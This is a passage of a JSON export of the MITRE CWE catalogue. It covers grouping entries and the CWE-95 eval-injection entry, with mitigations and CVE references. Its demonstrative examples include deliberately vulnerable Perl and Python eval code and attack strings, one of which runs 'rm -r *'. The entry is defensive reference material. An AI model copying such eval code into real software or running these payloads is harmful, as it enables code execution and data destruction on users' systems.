"@View_ID": "888"}, {"@CWE_ID": "420", "@View_ID": "888"}, {"@CWE_ID": "421", "@View_ID": "888"}, {"@CWE_ID": "441", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "955", "@Name": "SFP Secondary Cluster: Unrestricted Authentication", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster (SFP34).", "Relationships": {"Has_Member": {"@CWE_ID": "307", "@View_ID": "888"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "954", "@Name": "SFP Secondary Cluster: Multiple Binds to the Same Port", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster (SFP32).", "Relationships": {"Has_Member": {"@CWE_ID": "605", "@View_ID": "888"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "953", "@Name": "SFP Secondary Cluster: Missing Endpoint Authentication", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster (SFP30).", "Relationships": {"Has_Member": [{"@CWE_ID": "422", "@View_ID": "888"}, {"@CWE_ID": "425", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "952", "@Name": "SFP Secondary Cluster: Missing Authentication", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "306", "@View_ID": "888"}, {"@CWE_ID": "620", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": 1.0}, {"@ID": "951", "@Name": "SFP Secondary Cluster: Insecure Authentication Policy", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "262", "@View_ID": "888"}, {"@CWE_ID": "263", "@View_ID": "888"}, {"@CWE_ID": "521", "@View_ID": "888"}, {"@CWE_ID": "556", "@View_ID": "888"}, {"@CWE_ID": "613", "@View_ID": "888"}, {"@CWE_ID": "645", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "950", "@Name": "SFP Secondary Cluster: Hardcoded Sensitive Data", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster (SFP33).", "Relationships": {"Has_Member": [{"@CWE_ID": "258", "@View_ID": "888"}, {"@CWE_ID": "259", "@View_ID": "888"}, {"@CWE_ID": "321", "@View_ID": "888"}, {"@CWE_ID": "547", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "95", "@Name": "Improper Neutralization of Directives in Dynamically Evaluated Code", "@Abstraction": "Variant", "@Structure": "Simple", "@Status": "Incomplete", "@Diagram": "/data/images/CWE-95-Diagram.png", "Description": "The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. \"eval\").", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "94", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": [{"@Name": "Java", "@Prevalence": "Undetermined"}, {"@Name": "JavaScript", "@Prevalence": "Undetermined"}, {"@Name": "Python", "@Prevalence": "Undetermined"}, {"@Name": "Perl", "@Prevalence": "Undetermined"}, {"@Name": "PHP", "@Prevalence": "Undetermined"}, {"@Name": "Ruby", "@Prevalence": "Undetermined"}, {"@Class": "Interpreted", "@Prevalence": "Undetermined"}], "Technology": {"@Name": "AI/ML", "@Prevalence": "Often"}}, "Alternate_Terms": {"Alternate_Term": {"Term": "Eval Injection", "Role": ["Common-Name", "Attack-Focused"]}}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}, {"Phase": "Implementation", "Note": "This weakness is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables."}]}, "Likelihood_Of_Exploit": "Medium", "Common_Consequences": {"Consequence": [{"Scope": "Confidentiality", "Impact": ["Read Files or Directories", "Read Application Data"], "Note": "The injected code could access restricted data / files."}, {"Scope": "Access Control", "Impact": "Bypass Protection Mechanism", "Note": "In some cases, injectable code controls authentication; this may lead to a remote vulnerability."}, {"Scope": "Access Control", "Impact": "Gain Privileges or Assume Identity", "Note": "Injected code can access resources that the attacker is directly prevented from accessing."}, {"Scope": ["Integrity", "Confidentiality", "Availability", "Other"], "Impact": "Execute Unauthorized Code or Commands", "Note": "Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code or at least modify what code can be executed."}, {"Scope": "Non-Repudiation", "Impact": "Hide Activities", "Note": "Often the actions performed by injected control code are unlogged."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": ["Architecture and Design", "Implementation"], "Strategy": "Refactoring", "Description": ["If possible, refactor your code so that it does not need to use eval() at all."]}, {"@Mitigation_ID": "MIT-5", "Phase": "Implementation", "Strategy": "Input Validation", "Description": ["Assume all input is malicious. Use an \"accept known good\" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.", "When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, \"boat\" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as \"red\" or \"blue.\"", "Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright."]}, {"Phase": "Implementation", "Description": ["Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.", "Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content."]}, {"Phase": "Implementation", "Description": ["For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373]."], "Effectiveness": "Discouraged Common Practice"}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-31", "Intro_Text": "edit-config.pl: This CGI script is used to modify settings in a configuration file.", "Example_Code": [{"@Nature": "Bad", "@Language": "Perl", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null, null, null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null], "xhtml:i": "# code to add a field/key to a file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null], "xhtml:i": "# code to set key to a particular file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null], "xhtml:i": "# code to delete key from a particular file goes here", "#text": "my ($fname, $key, $arg) = @_;"}}, {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null, null], "xhtml:i": ["# this is super-efficient code, especially if you have to invoke", "# any one of dozens of different functions!"], "#text": "my ($fname, $action) = @_;my $key = param('key');my $val = param('val');\n                           \n                           \n                           my $code = \"config_file_$action_key(\\$fname, \\$key, \\$val);\";eval($code);"}}, {"@style": "margin-left:1em;", "#text": "handleConfigAction($configfile, param('action'));"}, {"@style": "margin-left:1em;", "#text": "print \"No action specified!\\n\";"}], "#text": "use CGI qw(:standard);\n                     sub config_file_add_key {}\n                     sub config_file_set_key {}\n                     sub config_file_delete_key {}\n                     sub handleConfigAction {}\n                     $configfile = \"/home/cwe/config.txt\";print header;if (defined(param('action'))) {}else {}"}, "#text_blocks": ["use CGI qw(:standard);", "sub config_file_add_key {", "my ($fname, $key, $arg) = @_;", "# code to add a field/key to a file goes here", "}", "sub config_file_set_key {", "my ($fname, $key, $arg) = @_;", "# code to set key to a particular file goes here", "}", "sub config_file_delete_key {", "my ($fname, $key, $arg) = @_;", "# code to delete key from a particular file goes here", "}", "sub handleConfigAction {", "my ($fname, $action) = @_;", "my $key = param('key');", "my $val = param('val');", "# this is super-efficient code, especially if you have to invoke", "# any one of dozens of different functions!", "my $code = \"config_file_$action_key(\\$fname, \\$key, \\$val);\";", "eval($code);", "}", "$configfile = \"/home/cwe/config.txt\";", "print header;", "if (defined(param('action'))) {", "handleConfigAction($configfile, param('action'));", "}", "else {", "print \"No action specified!\\n\";", "}"]}, {"@Nature": "Attack", "xhtml:div": "add_key(\",\",\"); system(\"/bin/ls\");", "#text_blocks": ["add_key(\",\",\"); system(\"/bin/ls\");"]}, {"@Nature": "Result", "xhtml:div": "config_file_add_key(\",\",\"); system(\"/bin/ls\");", "#text_blocks": ["config_file_add_key(\",\",\"); system(\"/bin/ls\");"]}], "Body_Text": ["The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:", "This would produce the following string in handleConfigAction():", "Any arbitrary Perl code could be added after the attacker has \"closed off\" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the \"_key(\\$fname, \\$key, \\$val)\" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated."]}, {"@Demonstrative_Example_ID": "DX-156", "Intro_Text": "This simple python3 script asks a user to supply a comma-separated list of numbers as input and adds them together.", "Example_Code": [{"@Nature": "Bad", "@Language": "Python", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "#text": "numbers = eval(input(\"Enter a comma-separated list of numbers: \"))"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "print(\"Error: invalid input\")\n\t\t      return"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "sum = sum + num"}], "#text": "sum = 0\n\t\t    try:\n\t\t    \n\t\t    except SyntaxError:\n\t\t    \n                    for num in numbers:\n                    \n                    print(f\"Sum of {numbers} = {sum}\")"}, "#text": "def main():\n                  \n                  main()"}, "#text_blocks": ["def main():", "sum = 0", "try:", "numbers = eval(input(\"Enter a comma-separated list of numbers: \"))", "except SyntaxError:", "print(\"Error: invalid input\")", "return", "for num in numbers:", "sum = sum + num", "print(f\"Sum of {numbers} = {sum}\")", "main()"]}, {"@Nature": "Attack", "xhtml:div": "__import__('subprocess').getoutput('rm -r *')", "#text_blocks": ["__import__('subprocess').getoutput('rm -r *')"]}, {"@Nature": "Good", "@Language": "Python", "xhtml:div": {"xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "sum = sum + int(num)"}, "#text": "for num in numbers:\n                      \n                      print(f\"Sum of {numbers} = {sum}\")"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "print(\"Error: invalid input\")"}], "#text": "sum = 0\n                    numbers = input(\"Enter a comma-separated list of numbers: \").split(\",\")\n                    try:\n                    \n                    except ValueError:"}, "#text": "def main():\n                  \n                  main()"}, "#text_blocks": ["def main():", "sum = 0", "numbers = input(\"Enter a comma-separated list of numbers: \").split(\",\")", "try:", "for num in numbers:", "sum = sum + int(num)", "print(f\"Sum of {numbers} = {sum}\")", "except ValueError:", "print(\"Error: invalid input\")", "main()"]}], "Body_Text": ["The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string:", "This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input.", "A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code.", "An alternative, commonly-cited mitigation for this kind of weakness is to use the ast.literal_eval() function, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373]."]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2024-4181", "Description": "Framework for LLM applications allows eval injection via a crafted response from a hosting provider.", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-4181"}, {"Reference": "CVE-2022-2054", "Description": "Python compiler uses eval() to execute malicious strings as Python code.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-2054"}, {"Reference": "CVE-2021-22204", "Description": "Chain: regex in EXIF processor code does not correctly determine where a string ends (CWE-625), enabling eval injection (CWE-95), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-22204"}, {"Reference": "CVE-2021-22205", "Description": "Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-22205"}, {"Reference": "CVE-2008-5071", "Description": "Eval injection in PHP program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5071"}, {"Reference": "CVE-2002-1750", "Description": "Eval injection in Perl program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1750"}, {"Reference": "CVE-2008-5305", "Description": "Eval injection in Perl program using an ID that should only contain hyphens and numbers.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-5305"}, {"Reference": "CVE-2002-1752", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1752"}, {"Reference": "CVE-2002-1753", "Description": "Eval injection in Perl program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2002-1753"}, {"Reference": "CVE-2005-1527", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1527"}, {"Reference": "CVE-2005-2837", "Description": "Direct code injection into Perl eval function.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2837"}, {"Reference": "CVE-2005-1921", "Description": "MFV. code injection into PHP eval statement using nested constructs that should not be nested.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-1921"}, {"Reference": "CVE-2005-2498", "Description": "MFV. code injection into PHP eval statement using nested constructs that should not be nested.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-2498"}, {"Reference": "CVE-2005-3302", "Description": "Code injection into Python eval statement from a field in a formatted file.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3302"}, {"Reference": "CVE-2007-1253", "Description": "Eval injection in Python program.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-1253"}, {"Reference": "CVE-2001-1471", "Description": "Chain: Resultant eval injection. An invalid value prevents initialization of variables, which can be modified by attacker and later injected into PHP eval statement.", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1471"}]}, "Taxonomy_Mappings": {"Taxonomy_Mapping": [{"@Taxonomy_Name": "PLOVER", "Entry_Name": "Direct Dynamic Code Evaluation ('Eval Injection')"}, {"@Taxonomy_Name": "OWASP Top Ten 2007", "Entry_ID": "A3", "Entry_Name": "Malicious File Execution", "Mapping_Fit": "CWE More Specific"}, {"@Taxonomy_Name": "OWASP Top Ten 2004", "Entry_ID": "A6", "Entry_Name": "Injection Flaws", "Mapping_Fit": "CWE More Specific"}, {"@Taxonomy_Name": "Software Fault Patterns", "Entry_ID": "SFP24", "Entry_Name": "Tainted input to command"}, {"@Taxonomy_Name": "SEI CERT Perl Coding Standard", "Entry_ID": "IDS35-PL", "Entry_Name": "Do not invoke the eval form with a string argument", "Mapping_Fit": "Exact"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": {"@CAPEC_ID": "35"}}, "References": {"Reference": [{"@External_Reference_ID": "REF-62", "@Section": "Chapter 18, \"Inline Evaluation\", Page 1095"}, {"@External_Reference_ID": "REF-1372"}, {"@External_Reference_ID": "REF-1373", "@Section": "ast.literal_eval(node_or_string)"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": {"@Type": "Other", "#text": "Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary."}}, "Content_History": {"Submission": {"Submission_Name": "PLOVER", "Submission_Date": "2006-07-19", "Submission_Version": "Draft 3", "Submission_ReleaseDate": "2006-07-19"}, "Modification": [{"Modification_Name": "Eric Dalci", "Modification_Organization": "Cigital", "Modification_Date": "2008-07-01", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Time_of_Introduction"}, {"Modification_Organization": "Veracode", "Modification_Date": "2008-08-15", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "Suggested OWASP Top Ten 2004 mapping"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2008-09-08", "Modification_Version": "1.0", "Modification_ReleaseDate": "2008-09-09", "Modification_Comment": "updated Applicable_Platforms, Description, Modes_of_Introduction, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-01-12", "Modification_Version": "1.2", "Modification_ReleaseDate": "2009-01-12", "Modification_Comment": "updated Description, Observed_Examples, Other_Notes, Research_Gaps"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2009-05-27", "Modification_Version": "1.4", "Modification_ReleaseDate": "2009-05-27", "Modification_Comment": "updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Description, Name, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-02-16", "Modification_Version": "1.8", "Modification_ReleaseDate": "2010-02-16", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2010-06-21", "Modification_Version": "1.9", "Modification_ReleaseDate": "2010-06-21", "Modification_Comment": "updated Description, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2011-06-01", "Modification_Version": "1.13", "Modification_ReleaseDate": "2011-06-01", "Modification_Comment": "updated Common_Consequences"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-05-11", "Modification_Version": "2.2", "Modification_ReleaseDate": "2012-05-15", "Modification_Comment": "updated Common_Consequences, Demonstrative_Examples, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2012-10-30", "Modification_Version": "2.3", "Modification_ReleaseDate": "2012-10-30", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2013-02-21", "Modification_Version": "2.4", "Modification_ReleaseDate": "2013-02-21", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-07-30", "Modification_Version": "2.8", "Modification_ReleaseDate": "2014-07-31", "Modification_Comment": "updated Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated 